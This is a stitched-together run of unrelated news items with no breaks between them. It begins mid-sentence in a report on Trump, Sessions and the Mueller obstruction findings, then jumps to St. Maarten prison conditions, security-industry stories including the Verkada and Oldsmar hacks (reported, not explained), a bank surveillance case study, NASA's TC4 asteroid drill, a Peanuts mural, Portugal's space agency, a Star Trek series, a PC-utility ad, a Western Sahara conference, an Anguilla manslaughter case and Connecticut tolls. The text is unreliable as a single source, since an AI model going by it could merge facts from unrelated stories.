Times that was originally supposed to be off the record, Trump lashed out at his Attorney-General. He criticised Sessions' decision to recuse himself from the Russia investigation and said had he known, "I would have picked somebody else." Later that day, Lewandowski and Hicks discussed the Times interview, according to the report. Lewandowski confided in Hicks about Trump's request that he meet with Sessions, telling her that Trump had told him to tell the Attorney-General to do the "right thing" and resign, she told investigators. Lewandowski also joked about the absurdity of Trump telling him, a private citizen, that if Sessions refused to meet with him, he should simply tell the Attorney-General he was fired. Hicks declined to comment. Three days later, Trump ordered Priebus to force Sessions to resign a directive the then-chief of staff also resisted. But Trump's ire with his Attorney-General resonated: for the rest of the year, Sessions carried a resignation letter in his pocket every time he visited the White House. 'Substantial evidence' Three elements are required to prove an obstruction-of-justice charge. Prosecutors must show an act had a nexus to a particular proceeding or investigation, that it would naturally impede that proceeding and that it was undertaken with corrupt intent. In the Lewandowski episode, the special counsel indicated there was strong evidence of all three elements, the report stated. By the time Trump issued his directive to his former campaign manager, it had been widely reported that a grand jury investigation was underway as part of the special counsel's investigation. If the President's efforts had been successful, he would have sharply curtailed the scope of Mueller's probe. Finally, the special counsel wrote that there was "substantial evidence" that Trump's intent was to shield himself from scrutiny. The investigation into potential obstruction of justice by the President ended without a final finding by Mueller. The special counsel decided that a Justice Department opinion that a sitting President cannot be indicted limited him from even saying whether a charge should be brought. PHILIPSBURG: --- A search team that conducted searches at the Pointe Blanche Prison on Friday 19th April 2019 confiscated a cellular phone that was found in the sick bay of the Pointe Blanche Prison that is occupied by suspended MP Theodore Heyliger. SMN News learned that Heyliger and those he was calling while incarcerated were upset since they could not be in contact with him during the Easter weekend and the Carnival celebrations. It is further understood that Heyliger was far better off while held in Bonaire since he was able to move around freely and had access to necessities such as a microwave, an electric teapot, and television. Heyliger was able to make his own tea and even prepared his own meal for his birthday. It is further understood that Heyliger was treated as though he was on House Arrest instead of being in prison. A source close to Heyliger said the suspended MP was able to call his relatives and friends anytime he wanted even though he is held in pretrial detention. It is further understood that Heyliger was able to use a washing machine while in Bonaire to wash his clothing, but all of that changed since he was brought back to St. Maarten by request of his relatives. SMN News understands that Heyliger only gets out of his cell for about 15 minutes per day while he must wash his clothing in a basin and used a torn bedsheet to make lines to hang his clothing so that it could dry. SMN News received several photographs showing the dilapidated and unhygienic conditions of Pointe Blanche prison cells which is yet to be addressed by the Minister of Justice and the Dutch Government. Top 10 articles of 2021 reflect a changing security marketplace Our most popular articles in 2021 provide a good reflection of the state of the industry. Taken together, the Top 10 Articles of 2021, as measured by reader clicks, cover big subjects such as smart cities and cybersecurity. They address new innovations in video surveillance, including systems that are smarter and more connected, and a new generation of computer chips that improve capabilities at the edge. A recurring theme in 2021 is cybersecurity's impact on physical security, embodied by a high-profile hack of 150,000 cameras and an incident at a Florida water plant. There is also an ongoing backlash against facial recognition technology, despite promising technology trends. Cross-agency collaboration Our top articles also touch on subjects that have received less exposure, including use of artificial intelligence (AI) for fraud detection, and the problem of cable theft in South Africa. Here is a review of the Top 10 Articles of 2021, based on reader clicks, including links to the original content: Smart cities have come a long way in the last few decades, but to truly make a smart city safe Safety in Smart Cities: How Video Surveillance Keeps Security Front and Center The main foundations that underpin smart cities are 5G, Artificial Intelligence (AI), and the Internet of Things (IoT) and the Cloud. Each is equally important, and together, these technologies enable city officials to gather and analyse more detailed insights than ever before. For public safety in particular, having IoT and cloud systems in place will be one of the biggest factors to improving the quality of life for citizens. Smart cities have come a long way in the last few decades, but to truly make a smart city safe, real-time situational awareness and cross-agency collaboration are key areas that must be developed as a priority. Fraud detection technology How AI is Revolutionising Fraud Detection Fraud detection technology has advanced rapidly over the years and made it easier for security professionals to detect and prevent fraud. Artificial Intelligence (AI) is revolutionising fraud detection. Banks can use AI software to gain an overview of a customers spending habits online. Having this level of insight allows an anomaly detection system to determine whether a transaction is normal or not. Suspicious transactions can be flagged for further investigation and verified by the customer. If the transaction is not fraudulent, then the information can be put into the anomaly detection system to learn more about the customers spending behaviour online. For decades, cable theft has caused disruption to infrastructure across South Africa Remote Monitoring Technology: Tackling South Africas Cable Theft Problem For decades, cable theft has caused disruption to infrastructure across South Africa, and its an issue that permeates the whole supply chain. In November 2020, Nasdaq reported that, When South Africa shut large parts of its economy and transport network during its COVID-19 lockdown, organised, sometimes armed, gangs moved into its crumbling stations to steal the valuable copper from the lines. Now, more than two months after that lockdown ended, the commuter rail system, relied on by millions of commuters, is barely operational. Physical security consequences Hack of 150,000 Verkada Cameras: It Could Have Been Worse When 150,000 video surveillance cameras get hacked, its big news. The target of the hack was Silicon Valley startup Verkada, which has collected a massive trove of security-camera data from its 150,000 surveillance cameras inside hospitals, companies, police departments, prisons and schools. The data breach was accomplished by an international hacker collective and was first reported by Bloomberg. Water Plant Attack Emphasises Cybers Impact on Physical Security At an Oldsmar, Fla., water treatment facility on Feb. 5, an operator watched a computer screen as someone remotely accessed the system monitoring the water supply and increased the amount of sodium hydroxide from 100 parts per million to 11,100 parts per million. The chemical, also known as lye, is used in small concentrations to control acidity in the water. The incident is the latest example of how cybersecurity attacks can translate into real-world, physical security consequences even deadly ones. Video surveillance technologies Organisations around the globe embraced video surveillance technologies to manage social distancing Video Surveillance is Getting Smarter and More Connected The global pandemic has triggered considerable innovation and change in the video surveillance sector. Last year, organisations around the globe embraced video surveillance technologies to manage social distancing, monitor occupancy levels in internal and external settings, and enhance their return-to-work processes. Forced to reimagine nearly every facet of their operations for a new post-COVID reality, companies were quick to seize on the possibilities offered by todays next-generation video surveillance systems. The Post-Pandemic Mandate for Entertainment Venues: Digitally Transform Security Guards At sporting venues, a disturbing new trend has hit the headlines poor fan behaviour. At the same time, security directors are reporting a chronic security guard shortage. Combining surveillance video with AI-based advanced analytics can automatically identify fan disturbances or other operational issues, and notify guards in real time, eliminating the need to have large numbers of guards monitoring video feeds and patrons. The business benefits of digitally transformed guards are compelling. Important emerging technology Why Access Control Is Important In a workspace, access control is particularly crucial in tracking the movement of employees should an incident occur, as well as making the life of your team much easier in allowing them to move between spaces without security personnel and site managers present. It can also reduce the outgoings of a business by reducing the need for security individuals to be hired and paid to remain on site. The city of Baltimore has banned the use of facial recognition systems by residents Baltimore Is the Latest U.S. City to Target Facial Recognition Technology The city of Baltimore has banned the use of facial recognition systems by residents, businesses and the city government (except for police). The criminalisation in a major U.S. city of an important emerging technology in the physical security industry is an extreme example of the continuing backlash against facial recognition throughout the United States. Several localities from Portland, Oregon, to San Francisco, from Oakland, California, to Boston have moved to limit use of the technology, and privacy groups have even proposed a national moratorium on use of facial recognition. Powerful artificial intelligence Next Wave of SoCs Will Turbocharge Camera Capabilities at The Edge A new generation of video cameras is poised to boost capabilities dramatically at the edge of the IP network, including more powerful artificial intelligence (AI) and higher resolutions, and paving the way for new applications that would have previously been too expensive or complex. Technologies at the heart of the coming new generation of video cameras are Ambarellas newest systems on chips (SoCs). Ambarellas CV5S and CV52S product families are bringing a new level of on-camera AI performance and integration to multi-imager and single-imager IP cameras. Brian Ishikawa has always kept tight control over his video surveillance system, allowing only authorised personnel within his corporate security division to access video footage. So it was a change for Ishikawa, Senior Vice President and Director of Corporate Security for the Bank of Hawaii, to get used to the idea of authorised staff from the banks branch division being able to review video for operational, compliance and marketing-related purposes. The insights collected from the video are helping the bank make more strategic decisions about staffing, customer service and even future branch design. Business intelligence Our March Networks surveillance platform is providing us with some significant business and non-security-related uses" Our March Networks surveillance platform is providing us with some significant business and non-security-related uses, Ishikawa explained. Bank of Hawaii, which operates 69 branches and 373 ATMs across Hawaii, American Samoa and the West Pacific, is currently using March Networks Searchlight for Banking software to gather business intelligence at its branches. Searchlights mix of surveillance video, teller/ATM transaction data and analytics delivers valuable insights into the banks operations, as well as helping to enhance security and uncover fraud. Our branch division folks look at the data to get ideas on how we should do our branch operations or staffing differently, he said. People counting data collected by FLIR Brickstream3D sensors integrated with the Searchlight software tells them which entrances and exits are most used so they can place marketing materials in high-traffic areas. Video surveillance products The information is also being used to help determine future branch layouts. Queue length and dwell time data, meanwhile, help them understand their busiest time of day, and day of the week, so they can staff branches appropriately. Its a huge plus for us, said Ishikawa. Our executive management team can see the benefits of the video solution, and the future possibilities for this data. A forward-thinking bank thats keen to try new technology, Bank of Hawaii began exploring Searchlight after its success with March Networks other video surveillance products. The bank first started using March Networks systems in 2015, when it was time to upgrade its legacy DVRs. At the time, Bank of Hawaii was relying on two different video platforms, and it wasnt happy with their performance. After enlisting the help of a consultant, and doing his own research at security tradeshows, Ishikawa says the decision to go with March Networks was clear. Network video recorders 'March Networks products are really engineered for the banking environment" I remember asking some of my banking counterparts, Hey what are you guys using? And they strongly recommended March Networks, he recalled. The consultant came to a similar conclusion. He said, "March Networks products are really engineered for the banking environment, so that helped us make the decision. Bank of Hawaii is currently using March Networks 8000 Series Hybrid Network Video Recorders (NVRs) in about half of its banking branches. The Linux-based devices provide reliable video surveillance recording and management, and are also easy to service, which is a huge bonus for Ishikawa and his team. In addition, the 8000 Series rack mount units feature an innovative dock and lock station that allows technicians to easily remove and service the recorder while leaving all rear connections clean and organised in place. Existing analogue cameras With other companies, you have to power down the recorder for several minutes to service it, and that means unplugging and re-plugging all the inputs. You miss a number of minutes of recording during that time. With March Networks, were able to just pull out the hard drive and pop in another one without taking the NVR offline, he said. Thats huge for us. According to Ishikawa, Bank of Hawaii also appreciates the 8000 Series hybrid support, which allowed the bank to continue using its existing analogue cameras, and the motion histograms in March Networks Command video management software, which show Ishikawa and his team where motion occurred and helps them rapidly locate video evidence. Commands modern interface is really user-friendly, and its very easy to find video, said Ishikawa. Dynamic range technology Bank of Hawaii has installed MegaPX ATM Cameras, which are purpose-built for ATMs When someone is telling you, Hey we had a problem at this branch this morning, I dont know what happened, but it must have been around this time, were able to find that video much more quickly on a March Networks platform. The banks high resolution cameras also make it easy to discern important details. In its newer branches, Bank of Hawaii is using March Networks ME4 Series IP cameras, which capture 4MP images and feature high dynamic range technology to optimise image quality in both low and bright light. The bank is also using Oncam 360 cameras for high-resolution panoramic views. For security at its bank machines, Bank of Hawaii has installed MegaPX ATM Cameras, which are purpose-built for ATMs. Video is integrated with the banks ATM transaction data in the Searchlight software for rapid investigations into customer complaints and potential fraud. More comprehensive oversight Its so easy to search, said Ishikawa. It takes us exactly to that transaction and the associated video so we can figure out what transpired. The bank is also integrating its teller transaction data with video in Searchlight for more comprehensive oversight of its branches. The combination of video, transactions and analytics helps it get a more holistic view of its services. Transaction data is not always indicative of how busy a branch is, Ishikawa said, noting that lengthier conversations at the teller counter often create value because the customer returns later to access another bank product or service. Having video and analytics is an added layer of information. Being able to remotely access video also helps Ishikawas security team conduct virtual patrols. This saves them both time and money. Uniformed security member Capturing video of the incident helped underscore the serious nature of the situation In the past, whenever there was an issue, we had a uniformed security member head out and physically check the branch. But with virtual patrols, we can do fewer physical visits and, when we do visit, its a more meaningful visit. The security team, for example, can keep an eye on issues with vagrancy and loitering by simply logging into the Command software. March Networks video has helped the bank successfully address some of these issues. In one case, a person was routinely visiting a branch and causing disruptions by yelling and throwing deposit slips on the floor. We dont always know the situation, but if a person is yelling or displaying erratic behaviour, they pose a risk, said Ishikawa. Capturing video of the incident helped underscore the serious nature of the situation. Investigating a fraud We were able to show police that this was not a minor disruptive party. It was a very concerning issue for us. And it wasnt just our bank, it was occurring in other banks, too. Going forward, Bank of Hawaii is planning to migrate its remaining retail branches to March Networks. Given the widespread benefits of intelligent video, Ishikawa predicts that, like him, more bank security managers will receive requests to share their video surveillance securely with other departments. In the future, it wont just be security thats asking for a video upgrade, he said. Its going to be other parts of the business saying, We want a piece of the pie too. Because surveillance is more than just investigating a fraud or robbery incident. Now, video surveillance is a lot more than that. Dozens of nonprofit groups welcome people with questions and donations during an event at the Hammock Shops Village during Palmetto Giving Day in 2018. This year's event is May 7. NASA selected an asteroid called 2012 TC4 before its close approach in October 2017 to serve as a practice test of the agency's detection and response systems. A very strange series of memos arrived at the White House during the fall of 2017, detailing a would-be nightmare scenario: an asteroid apparently on track to hit Earth . But those memos were covered in bright red warnings noting that they were just part of a drill; humanity didn't have any more reasons than normal to fear civilization's end. The memos were part of a surreal, sophisticated drill that let NASA and the scientific community practice for the existential threat of an asteroid that seems to be on track to hit Earth all based on a real asteroid. And now, the team involved in the drill has published a final set of findings about how the project went and what humans can do to be better prepared for this potential apocalypse scenario. "The most important thing was [that] it was the first time we actually tested the whole system, including notification to the White House," Vishnu Reddy, a planetary defense expert at the University of Arizona and a co-author on the new paper, told Space.com last month at the annual Lunar and Planetary Science Conference held in The Woodlands, Texas. "It was a really fantastic experience for us to test with a real asteroid." Related: Humanity Will Slam a Spacecraft into an Asteroid in a Few Years to Help Save Us All Early in 2017, scientists decided they wanted to conduct such a drill. So they went looking for an asteroid, one that wasn't really a risk but that would come close enough to produce realistic data about how an actual risk could play out. That would allow planetary defense specialists, who exclusively study the threat of asteroid impacts, to test their observation, evaluation and response procedures . A space rock known as 2012 TC4 fit the bill. During this object's initial detection in 2012, observations of its path through the solar system suggested that it would make a close but not dangerously close approach to Earth in October 2017, although researchers weren't positive exactly what track it would take. That's how the asteroid earned its role as guinea pig for the end of the world as we know it. "We knew it wasn't a threat we wanted it to be an exercise, but TC4 was a good candidate," Michael Kelley, a NASA scientist in the planetary defense program and co-author on the overview paper, said during a presentation at the same conference. "It was an asteroid with a slightly uncertain orbit that was in the time frame we were looking for to conduct this exercise. We knew it was out there. We knew roughly where to look in the sky, but we didn't know exactly where to point the telescopes, so we would have to search a little bit to try to find it." That search began in July 2017, when a team using the Very Large Telescope in Chile began trying to spot TC4. They latched on for good in August, when they had expected they would be able to. A different telescope, Pan-STARRS in Hawaii, also proved separately that, had scientists not possessed the 2012 data, they still would have spotted the asteroid about two weeks before the 2017 closest approach. As TC4 hurtled closer, scientists turned telescopes around the globe toward the object. First, they looked to track its path. Observers and orbital-trajectory specialists worked together to update their expectations of where precisely the rock would travel, one of the key responsibilities of planetary defense. As that picture developed, the team brought the data to government officials to talk through how the situation would be handled in real life. The good news is you never heard about a large asteroid hitting Earth in the fall of 2017. The more complicated finding is that there was a time when the team's calculations suggested that this was a real possibility, Kelley said. Briefly, on Sept. 24 of that year, the calculations gave TC4 a 1 in 180 chance of hitting Earth. "This is well below the threshold to trip all the triggers for an emergency situation," Kelley said. Fortunately, within just a few days, that sliver of a chance had evaporated . The uncertainty makes for a risky situation nevertheless, he added, since the team never wants to act rashly and cause a panic. But someone not following the entire process could have taken that one day's data out of context, intentionally or not. "You have to be very, very careful when you have a lot of measurements coming in and you're waiting to see what fits the pattern and what does not fit the pattern," Kelley said. "You can get to a point where you are drawing the wrong conclusion if you stop at a certain point or if you just take a snapshot image." By the end of the exercise, the team had completely eliminated any probability of impact from TC4 in the foreseeable future. But scientists weren't content with simply predicting the asteroid's path; they also wanted to gather as much data as possible about the rock itself. In particular, they investigated how it dimmed and brightened as it spun in space . In the context of a potential impactor, this information is not just scientifically interesting. More than that, details about an asteroid's rotation and composition can shape the potential disaster, affecting how much of the initial mass makes it through Earth's destructive atmosphere. Here, too, things got a little dicey. The team had lined up a range of facilities they wanted to use in advance, but fate intervened. Scientists had wanted to use the massive radio dish at Arecibo in Puerto Rico to bounce light waves off the asteroid's surface and see how they bounced back. But Hurricane Maria devastated the island just a couple weeks before the asteroid's closest approach, and the telescope wasn't ready to help. Scientists had to scramble to rope in two other radio telescopes, Goldstone and Green Bank, to make up for Arecibo's absence. And the team had wanted to use NASA's Infrared Telescope Facility in Hawaii to better understand the object's composition. The telescope had a three-night window to catch TC4. It observed the asteroid on the first night and was put to another task on the second. On the third night, the power went out. "It turns out that somebody cut a tree down and the tree fell on the power line," Reddy said. "And so the fate of the world will end up in [the hands of] some person with an ax in the hand trying to chop a tree in the evening." There's no reason to suspect that the same sorts of mundane issues would patiently wait for a real threat to pass. "There are real-world problems that can crop up even in an emergency situation," Kelley said. "Bad timing is always there." Despite the challenges during observations, scientists are pretty satisfied with what they were able to learn about TC4. It seems to be very bright, about 33 feet (10 meters) across, with a jagged, uneven surface. "This may be a fragment of a very bright, white rock in space," Kelley said. It seems to resemble an unusual type of meteorite a kind that makes up just 1% of the space rocks we have here on Earth called aubrites. Now that the results of the TC4 drill are published, the team is ready to apply the lessons learned during the exercise to a new drill. That team has selected a different asteroid, again based on the object's orbital convenience. "We can't schedule the asteroid[s]. We kind of have to wait for them to cooperate," Kelley said. This drill will be of a smaller scale than the TC4 one was, aiming only to learn as much as possible about the space rock itself even though scientists already have a good sense of what it is. "We know a lot, but we're pretending as if we don't know," Reddy said. "Imagine if this asteroid is going to hit us, say, 15, 20 years from now and this is the last, best flyby when we can characterize it to know what to do in the next 15, 20 years before impact. What can we learn?" This kind of preparation is not just about learning about distant space rocks sailing through the solar system. It also means learning about deeply terrestrial, deeply human factors, like how to be ready if someone cuts the wrong tree down on the wrong day. "This exercise was actually a good lesson in the reality of trying to do this as well, in a practical sense," Kelley said. "Real-world events affected the campaign, but we dealt with them and worked through it." And as a result, humans should be better prepared for the next close approach. "Fortunately, the fate of the Earth wasn't riding on this one, so we're OK," he said. The project is described in a paper published in March in the journal Icarus. Snoopy, wearing a custom NASA spacesuit, poses before Kenny Scharf's art installation outside Space Center Houston in Texas on Thursday, April 25, 2019. The installation features Scharf's space-themed Peanuts mural wrapped around a retired training mockup of an International Space Station module HOUSTON Fifty years after "Charlie Brown" and "Snoopy" circled the moon, the Peanuts characters are now dotting the sky at NASA. Johnson Space Center, in collaboration with Space Center Houston, its official visitor center, marked the 50th anniversary of NASA's Apollo 10 mission on Thursday (April 25), with the dedication of an outdoor, space-themed Peanuts art installation inspired in part by the historic mission's spacecraft call signs, "Charlie Brown" and "Snoopy." Artist Kenny Scharf's "Peanuts Constellation" mural, featuring Charlie Brown, Snoopy, Lucy van Pelt and Woodstock as constellations in the night sky, was used to wrap a retired training mockup of an International Space Station node. The module, along with several similarly art-wrapped towers now stand along the road between the entrances to the Johnson Space Center and Space Center Houston. Related: Sci-Fi to Snoopy: NASA's Coolest Mission Posters (Photos) Artist Kenny Scharf completes his space-themed Peanuts mural at Space Center Houston on Thursday, April 25, 2019. (Image credit: collectSPACE.com) "Everyone knows NASA is here I presume, but this brings it front and center," said Jeannie Schulz, the widow of Peanuts' creator Charles "Sparky" Schulz, in an interview with collectSPACE.com. "Sparky always said that he was very proud to have worked with NASA and to have had them [choose] his characters." Apollo 10 was the fourth crewed mission of the Apollo program and the second to orbit the moon. Launched on May 18, 1969, Apollo 10 served as a dress rehearsal for the first moon landing two months later, testing every aspect of the mission but touching down on the lunar surface. The crew aboard the @space_station received a special call this morning from @Snoopy & the Schulz family in Mission Control! As we celebrate the 50th anniversary of Apollo 10, were working with Peanuts to share STEM curriculum for students. More: https://t.co/oxyBjDdkQi pic.twitter.com/p6P5YsLYXnApril 25, 2019 See more The call sign for the Apollo 10 command module was "Charlie Brown," while the mission's lunar module was named for his beagle, "Snoopy." Apollo 10 crewmates Tom Stafford, Gene Cernan and John Young adopted the Peanuts characters as their semi-official mascots. "What a very special occasion to dedicate this beautiful mural," said Greg Dorth, a manager in the International Space Station External Integration Office at Johnson Space Center. "We could not be more excited that our node mockup is included in this wonderful display." "When I look up here and I see this, I think of inspiration, connectivity, exploration, and to me that is what the arts bring to science," said Dorth. During the ceremony, Scharf completed the installation using colorful spray paints to create a galaxy, star and atom-filled design, which he finished with the outline of Snoopy's head. "NASA and space exploration has been an inspiration since I was able to digest the world around me," Scharf told collectSPACE. "And because I am such a space fanatic, I decided to do the Peanuts characters as zodiac constellations." In addition to celebrating the Apollo 10 50th anniversary, the debut of Scharf's art installation also served as the Houston Arts Alliance launch for the Peanuts Global Artist Collective murals, a public art initiative that places Schulz's characters into the hands and imaginations of contemporary artists. "We are thrilled that this is the first part of it with Kenny Scharf creating these murals," said Leigh Smith, chair of the Houston Arts Alliance's board of directors. "We are thrilled that this piece sits here, on a property where all of you are here to enjoy Space Center Houston, and as you come down the road you will see these beloved characters in this great art." An Apollo boilerplate is seen in the background of Kenny Scharf's Peanuts art installation at Space Center Houston. (Image credit: collectSPACE.com) The installation also heralded a new collaboration between NASA and Peanuts Worldwide on educational activities that aim to share the excitement of science, technology, engineering and mathematics (STEM) with a new generation. The partnership incorporates Snoopy and the other Peanuts characters in new content focused on NASA's next deep space exploration missions. "Having an art installation like this, which is very interpretive, that captures your imagination and also merges popular culture with something that is science-oriented is a great way to appeal to people and get them to think about art and space in different ways than they may have in the past," said Willam Harris, Space Center Houston's president and CEO. "Not only are we opening this exhibit here today, but we also inaugurated the NASA-Peanuts STEM curriculum, to try to use the Peanuts characters to inspire STEM learning , which is very exciting. Click through to collectSPACE for more photos of Kenny Scharfs Peanuts art installation. Portugal just became the latest country to establish a national space agency. The country made its plans official on March 18, when its Council of Ministers signed the charter at a formal ceremony at Ponta Delgada, Portugal the capital city of the Azores archipelago, where the new space agency will be based. Located west of Portugal in the Atlantic Ocean, the Azores may soon host Portugal's first spaceport and new infrastructure for satellite tracking and monitoring. The agency's headquarters are being built on the Azores island of Santa Maria; named "Portugal Space," the new organization aims to start launching small satellites by 2021. Related: Photographer Captures Spectacular Milky Way Vista from the Azores (Photo) A photo taken from the International Space Station shows Portugal and Spain by night as a green aurora glows overhead. (Image credit: NASA) "The Azores has a particularly suitable geo-strategic position to consider the installation and operation of a space infrastructure for launching satellites," Manuel Heitor, Portugal's Minister of Science, Technology and Higher Education, wrote in a strategic report titled " Portugal Space 2030 ," which outlines the budding agency's priorities over the course of its first decade. Santa Maria is "as close to continental Europe as it is to the American continent and with a large oceanic coverage of more than 1,500 kilometers [approximately 932 miles] in any direction, [the island] offers absolutely unique advantages for the promotion and development of the 'New Space,' particularly through the ongoing reinforcement of satellite monitoring infrastructures (i.e., antennas) and, mainly, the installation of new satellite launch services," Heitor wrote. The island of Santa Maria is also home to one of the European Space Agency 's (ESA) tracking stations. Known as "Montes das Flores" (Hill of Flowers), the tracking station has a 5.5-meter (18 feet) telescope that can monitor rockets launching from Europe's spaceport in Kourou, French Guiana, and transmit telemetry between spacecraft and ground controllers. It is one of 10 stations that make up the European Space Tracking or "Estrack" network. The European Space Agency's Santa Maria tracking station and its 5.5-meter (18 feet) antenna are part of the European Space Tracking network, or "Estrack." (Image credit: ESA) Portugal might not have had a national space agency until now, but Portugal's Foundation for Science and Technology (FCT) a government agency that funds scientific research has had a Space Programme since 2009. The nation has also been a member state of ESA since 2000; with the creation of Portugal Space, the FCT will continue to work with ESA while partnering up with Portugal's National Innovation Agency and other research institutions around the world. The Portugal Space 2030 report emphasizes that international collaboration and partnerships with the commercial sector will be key to the agency's success. Along with its plans for the new spaceport, Portugal Space will build a new environmentally sustainable rocket that would launch from the new facility. The agency is also considering letting private companies like Virgin Galactic and Sierra Nevada use the spaceport for space tourism flights. Although more than 70 countries have established their own government space agencies, only 14 of them have the ability to build and launch rockets. Portugal Space may be the youngest space agency, but not by much. Turkey and Australia just established their own space agencies in 2018, and New Zealand established their version in 2016. Other countries around the world having been laying the groundwork for their own space agencies, including the Philippines and Sri Lanka. You can find out more about Portugal Space at its new website: www.ptspace.pt . A new "Star Trek" animated series has gotten the green light to run on Nickelodeon. If every project in development comes to fruition then we won't have had this much "Star Trek" on our screens since the late '90s, when there were three series running simultaneously and a movie here and there. Joining " Star Trek: Discovery ," there's a Captain Picard spinoff series which has just started shooting in Los Angeles a spinoff focused on the "Discovery" character Philippa Georgiou, more " Short Treks " and a " Star Trek: Lower Decks " animated series. Related: CBS Hits Warp Drive with 'Star Trek' Universe, More Shows Planned The new, as-of-yet untitled series will be more kid-friendly than "Lower Decks," and while the majority of current Trek programming is headed to CBS All Access, this one will air on Nickelodeon. Kevin and Dan Hageman, who were writers on "The Lego Movie," "Hotel Transylvania" and "Ninjago: Masters of Spinjitsu" are creating the new show. According to the Nickelodeon press release, the new "Star Trek" original CG-animated series will debut exclusively on Nickelodeon and will feature "a group of lawless teens who discover a derelict Starfleet ship and use it to search for adventure, meaning and salvation." "'Star Trek's' mission is to inspire generations of dreamers to build a brighter future," Alex Kurtzman, who is an executive producer on the project, said in the statement. "Dan and Kevin have crafted a story that honors its exploratory spirit in a way that's never been done before, while the Nickelodeon team blew us away with their excitement at bringing 'Trek' to a younger generation around the world." Kevin and Dan Hageman, who are set to create a new "Star Trek" animated show to air on Nickelodeon. (Image credit: Cliff Lipson/CBS) Where to watch "Star Trek" All four seasons of "Star Trek: Enterprise" are available to stream on Netflix in the U.S. and the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on Blu-ray . Both the first and second seasons of "Star Trek: Discovery" are available to stream in their entirety on CBS All Access in the U.S. and Netflix in the U.K. "Star Trek: Discovery" Season 1 is available now on Blu-ray. All three seasons of the remastered "Star Trek" often referred to as "Star Trek: The Original Series" are available to stream on Netflix in the U.S. and the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on Blu-ray . Episodes are also shown from time to time on BBC America. Both the first and second seasons of "Star Trek: The Animated Series" are available to stream in their entirety on CBS All Access in the U.S. and Netflix in the U.S. and in the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on Blu-ray . All seven seasons of "Star Trek: The Next Generation" are available to stream on Netflix in the U.S. and in the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on Blu-ray . Episodes are also shown from time to time on BBC America. All seven seasons of "Star Trek: Deep Space Nine" are available to stream on Netflix in the U.S. and in the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on DVD . All seven seasons of "Star Trek: Voyager" are available to stream on Netflix in the U.S. and in the U.K. It's also available on CBS All Access and to buy on Amazon Prime and on DVD . Episodes are also shown from time to time on BBC America. Optimization Are you frustrated with a slow pc or a hard disk not performing as it should? Try SLOW-PCfighter to speed up boot time on a slow PC, or try a free scan of FULL-DISKfighter to recover space on a full disk. The latest offering is DRIVERfighter to update your driver updater. Get complete PC optimization and extend the life of your PC with these must-have software tools. France, April 24, 2019 (SPS) - the University of Picardy Jules-Verne , French is expected to hold next May 27 an international Conference on Western Sahara under the title : "Western Sahara - Developments of an old question" with the participation of internationally prominent scholars, specialists in law, international relations, history, politics and anthropology, APS news agency reported Tuesday. The colonial approach of the territory, the Moroccan approach of the territory as occupying power, the legal approach of the notion of the territory and the economic interest of the territory of Western Sahara will be the planned roundtables, according to an interim program that APS has obtained a copy of the organizers Participants will have to analyze the question of "which government for Western Sahara?" examining in particular the international and constitutional cross-legal approach to the notion of government, Western Sahara in the Maghreb context and the effect in France of the acts and decisions of the Sahrawi Arab Democratic Republic (SADR). The upcoming conference is expected to discuss several others issues related to the question of Western Sahara It should be recalled that several professors from major universities will take part in this conference, including historian Pierre Vermeren (University Paris I - Pantheon Sorbonne), Algerian Yahia Zoubir (Kedge Business School), scientific adviser at the conference Marjorie Beulay (Universite Picardie Jules Verne) and Francesco Bastagli (former Special Representative of the UN Secretary-General for Western Sahara and Head of MINURSO). SPS 125/090/TRA DARIEN A spokeswoman for Gavin Scott Hapgood said Thursday he acted in self-defense during an incident that led to the death of a hotel employee in Anguilla while he and his family were on vacation. Hapgood, 44, of Darien, was charged with manslaughter by the Royal Anguilla Police Force last week in connection with the death of Kenny Mitchel in Anguilla on April 13. Kelcey Kintner, spokeswoman for Hapgood, said he was attacked without warning in his familys hotel room by a maintenance worker who was armed and demanding money. She said Hapgood acted in self-defense to protect the lives of his young daughters and himself. The RAPF spokesman Randy Dick said Hapgoods daughters were in the room when Mitchel was killed at the Malliouhana resort. Despite reports indicating the Hapgoods called maintenance before Mitchel was killed, Kintner said that wasnt the case. Neither invited nor expected, the worker showed up unannounced in uniform at the hotel room, claiming he was there to fix a broken sink before carrying out his sudden, violent attack on the family, she said. She said Hapgood and his family were traumatized by the assault and thankful to be alive. The killing has Facebook comments on the Royal Police Facebook page erupting with speculation some commenters supporting Hapgood, others Mitchel. But the details of what led to the fatal interaction has not been shared by Anguilla police. More News Police: Darien man killed hotel worker with kids in room Anguilla, a British Overseas Territory, is located in the eastern Caribbean. There is a small main island and several offshore islets. Hapgood and his family were vacationing at a hotel on the West end of Anguilla. The RAPF said around 4 p.m. April 13, officers responded to the hotel for an incident that resulted in the death of one resident of Anguilla. After being arrested and formally charged, Hapgood appeared in court where bail was denied. But a statement from Police Commissioner Paul Morrison said the court ended up granting bail. Thomas Astaphan, Hapgoods local attorney, told the court that his client would return to Anguilla to clear his name, according to the Anguillian, a local newspaper. The Anguillian reported 27-year-old Mitchels death certificate said he died from prone restraint, positional asphyxia and blunt force trauma to the head, neck and torso. A relative of Mitchels sent a Facebook message to Hearst Connecticut Media with a link to a news story and added Our family wants justice. The relative did not respond to a follow up request for an interview or comment. Tensions were high following Mitchels death, which was initially referred to by RAPF police as a homicide investigation. We are not shrouding the case in mystery, we are bound by rules and so are others on what can be said, a statement from Morrison said. We have charged a man in connection with the death of Mr. Mitchel. The court granted bail and we now prepare for the court process and eventual trial. The RAPF public media relations officer provided a statement on Facebook about the scores of comments on its page about what happened. The Royal Anguilla Police Force acknowledges the fact that people want information in respect of the recent arrest and charging of a U.S. tourist, however, like all investigations these are not conducted on social media, the statement said. The comments being made on the RAPF Facebook have no foundation in fact and are likely to incite racial hatred and can prejudice a jury, especially since they will be chosen from among the community of Anguilla. Hapgood is a UBS financial adviser. A representative for UBS told the New York Post they were aware of the events and were following the situation closely, adding that it would not be appropriate to provide any comment in relation to an active criminal proceeding. Includes reporting from the Associated Press. With Gov. Ned Lamont expected to roll out a more detailed tolls proposal next week, Republican legislative leaders broadened their sales pitch Friday on the alternative. GOP leaders in the House and Senate effectively turned the first two hours of a Finance, Revenue and Bonding Committee hearing into a press conference for Prioritize Progress, the GOP plan to rebuild Connecticuts aging infrastructure without tolls. Sen. Len Fasano, R-North Haven, and Rep. Themis Klarides, R-Derby, still focused on the lack of tolls in their plan. But they placed equal emphasis Friday on the huge head start their approach would bring to rebuilding the states highways, bridges and 